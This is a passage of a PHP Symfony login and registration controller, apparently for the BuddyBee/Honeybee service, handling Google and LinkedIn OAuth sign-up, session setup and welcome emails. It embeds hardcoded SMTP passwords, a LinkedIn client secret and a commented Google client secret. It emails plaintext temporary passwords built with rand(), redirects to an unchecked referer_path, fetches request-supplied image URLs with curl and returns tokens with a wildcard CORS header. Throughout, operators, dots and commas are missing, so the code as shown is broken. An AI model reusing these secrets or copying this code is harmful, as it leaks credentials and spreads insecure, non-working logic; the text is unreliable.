  6080.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6081.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6082.                     ]);
  6083.             } else {
  6084.                 $fname $oAuthData['firstName'];
  6085.                 $lname $oAuthData['lastName'];
  6086.                 $img $oAuthData['image'];
  6087.                 $email $oAuthData['email'];
  6088.                 $oAuthEmail $oAuthData['email'];
  6089.                 $userName explode('@'$email)[0];
  6090.                 //now check if same username exists
  6091.                 $username_already_exist 1;
  6092.                 $initial_user_name $userName;
  6093.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6094.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6095.                     $isUsernameExist $applicantRepo->findOneBy([
  6096.                         'username' => $userName
  6097.                     ]);
  6098.                     if ($isUsernameExist) {
  6099.                         $username_already_exist 1;
  6100.                         $userName $initial_user_name '' rand(3009987);
  6101.                     } else {
  6102.                         $username_already_exist 0;
  6103.                     }
  6104.                     $timeoutSafeCount--;
  6105.                 }
  6106.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6107.                     $currentUnixTimeStamp '';
  6108.                     $currentUnixTime = new \DateTime();
  6109.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6110.                     $userName $userName '' $currentUnixTimeStamp;
  6111.                 }
  6112.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6113.                 $charactersLength strlen($characters);
  6114.                 $length 8;
  6115.                 $password 0;
  6116.                 for ($i 0$i $length$i++) {
  6117.                     $password .= $characters[rand(0$charactersLength 1)];
  6118.                 }
  6119.                 $newApplicant = new EntityApplicantDetails();
  6120.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6121.                 $newApplicant->setEmail($email);
  6122.                 $newApplicant->setUserName($userName);
  6123.                 $newApplicant->setFirstname($fname);
  6124.                 $newApplicant->setLastname($lname);
  6125.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6126.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6127.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6128.                 $newApplicant->setAccountStatus(1);
  6129.                 //salt will be username
  6130. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6131.                 $salt uniqid(mt_rand());
  6132.                 $encodedPassword $this->container->get('sha256salted_encoder')->encodePassword($password$salt);
  6133.                 $newApplicant->setPassword($encodedPassword);
  6134.                 $newApplicant->setSalt($salt);
  6135.                 $newApplicant->setTempPassword($password);
  6136. //                $newApplicant->setPassword($password);
  6137.                 $marker $userName '-' time();
  6138. //                $extension_here=$uploadedFile->guessExtension();
  6139. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6140. //                $path = $fileName;
  6141.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6142.                 if (!file_exists($upl_dir)) {
  6143.                     mkdir($upl_dir0777true);
  6144.                 }
  6145.                 $ch curl_init($img);
  6146.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6147.                 curl_setopt($chCURLOPT_FILE$fp);
  6148.                 curl_setopt($chCURLOPT_HEADER0);
  6149.                 curl_exec($ch);
  6150.                 curl_close($ch);
  6151.                 fclose($fp);
  6152.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6153. //                $newApplicant->setImage($img);
  6154.                 $newApplicant->setIsConsultant(0);
  6155.                 $newApplicant->setIsTemporaryEntry(0);
  6156.                 $newApplicant->setApplyForConsultant(0);
  6157.                 $newApplicant->setTriggerResetPassword(0);
  6158.                 $em->persist($newApplicant);
  6159.                 $em->flush();
  6160.                 $isApplicantExist $newApplicant;
  6161.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6162.                     if ($systemType == '_BUDDYBEE_') {
  6163.                         $bodyHtml '';
  6164.                         $bodyTemplate 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  6165.                         $bodyData = array(
  6166.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6167.                             'email' => $userName,
  6168.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6169.                             'password' => $newApplicant->getTempPassword(),
  6170.                         );
  6171.                         $attachments = [];
  6172.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6173. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6174.                         $new_mail $this->get('mail_module');
  6175.                         $new_mail->sendMyMail(array(
  6176.                             'senderHash' => '_CUSTOM_',
  6177.                             //                        'senderHash'=>'_CUSTOM_',
  6178.                             'forwardToMailAddress' => $forwardToMailAddress,
  6179.                             'subject' => 'Welcome to BuddyBee ',
  6180. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6181.                             'attachments' => $attachments,
  6182.                             'toAddress' => $forwardToMailAddress,
  6183.                             'fromAddress' => 'registration@buddybee.eu',
  6184.                             'userName' => 'registration@buddybee.eu',
  6185.                             'password' => 'Y41dh8g0112',
  6186.                             'smtpServer' => 'smtp.hostinger.com',
  6187.                             'smtpPort' => 465,
  6188.                             'encryptionMethod' => 'ssl',
  6189. //                            'emailBody' => $bodyHtml,
  6190.                             'mailTemplate' => $bodyTemplate,
  6191.                             'templateData' => $bodyData,
  6192. //                        'embedCompanyImage' => 1,
  6193. //                        'companyId' => $companyId,
  6194. //                        'companyImagePath' => $company_data->getImage()
  6195.                         ));
  6196.                     } else {
  6197.                         $bodyHtml '';
  6198.                         $bodyTemplate 'ApplicationBundle:email/user:applicant_login.html.twig';
  6199.                         $bodyData = array(
  6200.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6201.                             'email' => 'APP-' $userName,
  6202.                             'password' => $newApplicant->getPassword(),
  6203.                         );
  6204.                         $attachments = [];
  6205.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6206. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6207.                         $new_mail $this->get('mail_module');
  6208.                         $new_mail->sendMyMail(array(
  6209.                             'senderHash' => '_CUSTOM_',
  6210.                             //                        'senderHash'=>'_CUSTOM_',
  6211.                             'forwardToMailAddress' => $forwardToMailAddress,
  6212.                             'subject' => 'Applicant Registration on Honeybee',
  6213. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6214.                             'attachments' => $attachments,
  6215.                             'toAddress' => $forwardToMailAddress,
  6216.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6217.                             'userName' => 'accounts@ourhoneybee.eu',
  6218.                             'password' => 'Honeybee@0112',
  6219.                             'smtpServer' => 'smtp.hostinger.com',
  6220.                             'smtpPort' => 465,
  6221.                             'encryptionMethod' => 'ssl',
  6222. //                            'emailBody' => $bodyHtml,
  6223.                             'mailTemplate' => $bodyTemplate,
  6224.                             'templateData' => $bodyData,
  6225. //                        'embedCompanyImage' => 1,
  6226. //                        'companyId' => $companyId,
  6227. //                        'companyImagePath' => $company_data->getImage()
  6228.                         ));
  6229.                     }
  6230.                 }
  6231.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6232.                 } else {
  6233.                     return $this->redirectToRoute("core_login", [
  6234.                         'id' => $newApplicant->getApplicantId(),
  6235.                         'oAuthData' => $oAuthData,
  6236.                         'encData' => $encData,
  6237.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6238.                         'locale' => $request->request->get('locale''en'),
  6239.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6240.                     ]);
  6241.                 }
  6242.             }
  6243.         }
  6244.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6245.             if ($isApplicantExist) {
  6246.                 $user $isApplicantExist;
  6247.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6248.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6249.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6250.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6251.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6252.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6253.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6254.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6255.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6256.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6257.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6258.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6259.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6260.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6261.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6262.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6263.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6264.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6265.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6266.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6267.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6268.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6269.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6270.                     $session->set('userCompanyVibrantList'json_encode([]));
  6271.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6272.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6273.                     $session->set(UserConstants::USER_APP_ID0);
  6274.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6275.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6276.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6277.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6278.                     $session->set(UserConstants::USER_GOC_ID0);
  6279.                     $session->set(UserConstants::USER_DB_NAME'');
  6280.                     $session->set(UserConstants::USER_DB_USER'');
  6281.                     $session->set(UserConstants::USER_DB_PASS'');
  6282.                     $session->set(UserConstants::USER_DB_HOST'');
  6283.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6284.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6285.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6286.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6287.                     $session->set('locale'$request->request->get('locale'''));
  6288.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6289.                     $route_list_array = [];
  6290.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6291.                     $loginID 0;
  6292.                     $loginID MiscActions::addEntityUserLoginLog(
  6293.                         $em,
  6294.                         $session->get(UserConstants::USER_ID),
  6295.                         $session->get(UserConstants::USER_ID),
  6296.                         1,
  6297.                         $request->server->get("REMOTE_ADDR"),
  6298.                         0,
  6299.                         $request->request->get('deviceId'''),
  6300.                         $request->request->get('oAuthToken'''),
  6301.                         $request->request->get('oAuthType'''),
  6302.                         $request->request->get('locale'''),
  6303.                         $request->request->get('firebaseToken''')
  6304.                     );
  6305.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6306.                     $session_data = array(
  6307.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6308.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6309.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6310.                         'oAuthToken' => $session->get('oAuthToken'),
  6311.                         'locale' => $session->get('locale'),
  6312.                         'firebaseToken' => $session->get('firebaseToken'),
  6313.                         'token' => $session->get('token'),
  6314.                         'firstLogin' => 0,
  6315.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6316.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6317.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6318.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6319.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6320.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6321.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6322.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6323.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6324.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6325.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6326.                         'oAuthImage' => $session->get('oAuthImage'),
  6327.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6328.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6329.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6330.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6331.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6332.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6333.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6334.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6335.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6336.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6337.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6338.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6339.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6340.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6341.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6342.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6343.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6344.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6345.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6346.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6347.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6348.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6349.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6350.                         //new
  6351.                         'appIdList' => $session->get('appIdList'),
  6352.                         'branchIdList' => $session->get('branchIdList'null),
  6353.                         'branchId' => $session->get('branchId'null),
  6354.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6355.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6356.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6357.                     );
  6358.                     $session_data $this->filterClientSessionData($session_data);
  6359.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6360.                     $session_data $tokenData['sessionData'];
  6361.                     $token $tokenData['token'];
  6362.                     $session->set('token'$token);
  6363.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6364.                         $session->set('remoteVerified'1);
  6365.                         $response = new JsonResponse(array(
  6366.                             'token' => $token,
  6367.                             'uid' => $session->get(UserConstants::USER_ID),
  6368.                             'session' => $session,
  6369.                             'success' => true,
  6370.                             'session_data' => $session_data,
  6371.                         ));
  6372.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6373.                         return $response;
  6374.                     }
  6375.                     if ($request->request->has('referer_path')) {
  6376.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6377.                             return $this->redirect($request->request->get('referer_path'));
  6378.                         }
  6379.                     }
  6380.                     $redirectRoute 'applicant_dashboard';
  6381.                     if ($request->query->has('encData')) {
  6382.                         if ($request->query->get('encData') == '8917922')
  6383.                             $redirectRoute 'apply_for_consultant';
  6384.                     }
  6385.                     return $this->redirectToRoute($redirectRoute);
  6386.                 }
  6387. //                    $response = new JsonResponse(array(
  6388. //                        'token' => $token,
  6389. //                        'uid' => $session->get(UserConstants::USER_ID),
  6390. //                        'session' => $session,
  6391. //
  6392. //                        'success' => true,
  6393. //                        'session_data' => $session_data,
  6394. //
  6395. //                    ));
  6396. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6397. //                    return $response;
  6398. //                    return $this->redirectToRoute("user_login", [
  6399. //                        'id' => $isApplicantExist->getApplicantId(),
  6400. //                        'oAuthData' => $oAuthData,
  6401. //                        'encData' => $encData,
  6402. //                        'locale' => $request->request->get('locale', 'en'),
  6403. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6404. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6405. //                    ]);
  6406.             }
  6407.         }
  6408. //        if ($request->isMethod('POST')){
  6409. //            $new = new EntityApplicantDetails();
  6410. //
  6411. //            $new-> setUsername->$request->request->get('userName');
  6412. //            $new-> setEmail()->$request->request->get('email');
  6413. //            $new-> setPassword()->$request->request->get('password');
  6414. //            $new-> setSelector()->$request->request->get('selector');
  6415. //
  6416. //
  6417. //            $em->persist($new);
  6418. //            $em->flush();
  6419. //        }
  6420.         $selector BuddybeeConstant::$selector;
  6421.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6422.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6423.         if ($systemType == '_ERP_') {
  6424.         } else if ($systemType == '_BUDDYBEE_') {
  6425.             return $this->render(
  6426.                 '@Authentication/pages/views/applicant_login.html.twig',
  6427.                 [
  6428.                     'page_title' => 'BuddyBee Login',
  6429.                     'oAuthLink' => $google_client->createAuthUrl(),
  6430.                     'redirect_url' => $url,
  6431.                     'message' => $message,
  6432.                     'errorField' => $errorField,
  6433.                     'encData' => $encData,
  6434.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6435.                     'selector' => $selector
  6436.                 ]
  6437.             );
  6438.         }
  6439.         return $this->render(
  6440.             '@Authentication/pages/views/applicant_login.html.twig',
  6441.             [
  6442.                 'page_title' => 'Applicant Registration',
  6443.                 'oAuthLink' => $google_client->createAuthUrl(),
  6444.                 'redirect_url' => $url,
  6445.                 'encData' => $encData,
  6446.                 'message' => $message,
  6447.                 'errorField' => $errorField,
  6448.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6449.                 'selector' => $selector
  6450.             ]
  6451.         );
  6452.     }
  6453.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6454.     {
  6455.         $session $request->getSession();
  6456.         $email $request->getSession()->get('userEmail');
  6457.         $sessionUserId $request->getSession()->get('userId');
  6458.         $oAuthData = [];
  6459. //    $encData='';
  6460.         $em $this->getDoctrine()->getManager('company_group');
  6461.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6462.         $redirectRoute 'dashboard';
  6463.         if ($encData != '') {
  6464.             if ($encData == '8917922')
  6465.                 $redirectRoute 'apply_for_consultant';
  6466.         }
  6467.         if ($request->query->has('encData')) {
  6468.             $encData $request->query->get('encData');
  6469.             if ($encData == '8917922')
  6470.                 $redirectRoute 'apply_for_consultant';
  6471.         }
  6472.         $message '';
  6473.         $errorField '_NONE_';
  6474.         if ($request->query->has('message')) {
  6475.             $message $request->query->get('message');
  6476.         }
  6477.         if ($request->query->has('errorField')) {
  6478.             $errorField $request->query->get('errorField');
  6479.         }
  6480.         if ($request->request->has('oAuthData')) {
  6481.             $oAuthData $request->request->get('oAuthData', []);
  6482.         } else {
  6483.             $oAuthData = [
  6484.                 'email' => $request->request->get('email'''),
  6485.                 'uniqueId' => $request->request->get('uniqueId'''),
  6486.                 'oAuthHash' => '_NONE_',
  6487.                 'image' => $request->request->get('image'''),
  6488.                 'emailVerified' => $request->request->get('emailVerified'''),
  6489.                 'name' => $request->request->get('name'''),
  6490.                 'firstName' => $request->request->get('firstName'''),
  6491.                 'lastName' => $request->request->get('lastName'''),
  6492.                 'type' => 1,
  6493.                 'token' => $request->request->get('oAuthtoken'''),
  6494.             ];
  6495.         }
  6496.         $isApplicantExist null;
  6497.         if ($email) {
  6498.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6499.                 $isApplicantExist $applicantRepo->findOneBy([
  6500.                     'applicantId' => $sessionUserId
  6501.                 ]);
  6502.             } else
  6503.                 return $this->redirectToRoute($redirectRoute);
  6504.         }
  6505.         $google_client = new Google_Client();
  6506. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6507. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6508.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6509.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6510.         } else {
  6511.             $url $this->generateUrl(
  6512.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6513.             );
  6514.         }
  6515.         $selector BuddybeeConstant::$selector;
  6516.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6517.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6518. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6519. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6520.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6521. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6522.         $google_client->setRedirectUri($url);
  6523.         $google_client->setAccessType('offline');        // offline access
  6524.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6525.         $google_client->addScope('email');
  6526.         $google_client->addScope('profile');
  6527.         $google_client->addScope('openid');
  6528. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6529.         //linked in 1st
  6530.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6531.             $curl curl_init();
  6532.             curl_setopt_array($curl, array(
  6533.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6534.                 CURLOPT_HEADER => false,  // don't return headers
  6535.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6536.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6537.                 CURLOPT_ENCODING => "",     // handle compressed
  6538.                 CURLOPT_USERAGENT => "test"// name of client
  6539.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6540.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6541.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6542.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6543.                 CURLOPT_USERAGENT => 'InnoPM',
  6544.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6545.                 CURLOPT_POST => 1,
  6546.                 CURLOPT_HTTPHEADER => array(
  6547.                     'Content-Type: application/x-www-form-urlencoded'
  6548.                 )
  6549.             ));
  6550.             $content curl_exec($curl);
  6551.             $contentArray = [];
  6552.             curl_close($curl);
  6553.             $token false;
  6554. //      return new JsonResponse(array(
  6555. //          'content'=>$content,
  6556. //          'contentArray'=>json_decode($content,true),
  6557. //
  6558. //      ));
  6559.             if ($content) {
  6560.                 $contentArray json_decode($contenttrue);
  6561.                 $token $contentArray['access_token'];
  6562.             }
  6563.             if ($token) {
  6564.                 $applicantInfo = [];
  6565.                 $curl curl_init();
  6566.                 curl_setopt_array($curl, array(
  6567.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6568.                     CURLOPT_HEADER => false,  // don't return headers
  6569.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6570.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6571.                     CURLOPT_ENCODING => "",     // handle compressed
  6572.                     CURLOPT_USERAGENT => "test"// name of client
  6573.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6574.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6575.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6576.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6577.                     CURLOPT_USERAGENT => 'InnoPM',
  6578.                     CURLOPT_HTTPGET => 1,
  6579.                     CURLOPT_HTTPHEADER => array(
  6580.                         'Authorization: Bearer ' $token,
  6581.                         'Header-Key-2: Header-Value-2'
  6582.                     )
  6583.                 ));
  6584.                 $userGeneralcontent curl_exec($curl);
  6585.                 curl_close($curl);
  6586.                 if ($userGeneralcontent) {
  6587.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6588.                 }
  6589.                 $curl curl_init();
  6590.                 curl_setopt_array($curl, array(
  6591.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6592.                     CURLOPT_HEADER => false,  // don't return headers
  6593.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6594.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6595.                     CURLOPT_ENCODING => "",     // handle compressed
  6596.                     CURLOPT_USERAGENT => "test"// name of client
  6597.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6598.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6599.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6600.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6601. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6602.                     CURLOPT_USERAGENT => 'InnoPM',
  6603.                     CURLOPT_HTTPGET => 1,
  6604.                     CURLOPT_HTTPHEADER => array(
  6605.                         'Authorization: Bearer ' $token,
  6606.                         'Header-Key-2: Header-Value-2'
  6607.                     )
  6608.                 ));
  6609.                 $userEmailcontent curl_exec($curl);
  6610.                 curl_close($curl);
  6611.                 $token false;
  6612.                 if ($userEmailcontent) {
  6613.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6614.                 }
  6615. //        $oAuthEmail = $applicantInfo['email'];
  6616. //        return new JsonResponse(array(
  6617. //          'userEmailcontent'=>$userEmailcontent,
  6618. //          'userGeneralcontent'=>$userGeneralcontent,
  6619. //        ));
  6620. //        return new response($userGeneralcontent);
  6621.                 $oAuthData = [
  6622.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6623.                     'uniqueId' => $userGeneralcontent['id'],
  6624.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6625.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6626.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6627.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6628.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6629.                     'type' => 1,
  6630.                     'token' => $token,
  6631.                 ];
  6632.             }
  6633.         } else if (isset($_GET["code"])) {
  6634.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6635.             if (!isset($token['error'])) {
  6636.                 $google_client->setAccessToken($token['access_token']);
  6637.                 $google_service = new Google_Service_Oauth2($google_client);
  6638.                 $applicantInfo $google_service->userinfo->get();
  6639.                 $oAuthEmail $applicantInfo['email'];
  6640.                 $oAuthData = [
  6641.                     'email' => $applicantInfo['email'],
  6642.                     'uniqueId' => $applicantInfo['id'],
  6643.                     'image' => $applicantInfo['picture'],
  6644.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6645.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6646.                     'firstName' => $applicantInfo['givenName'],
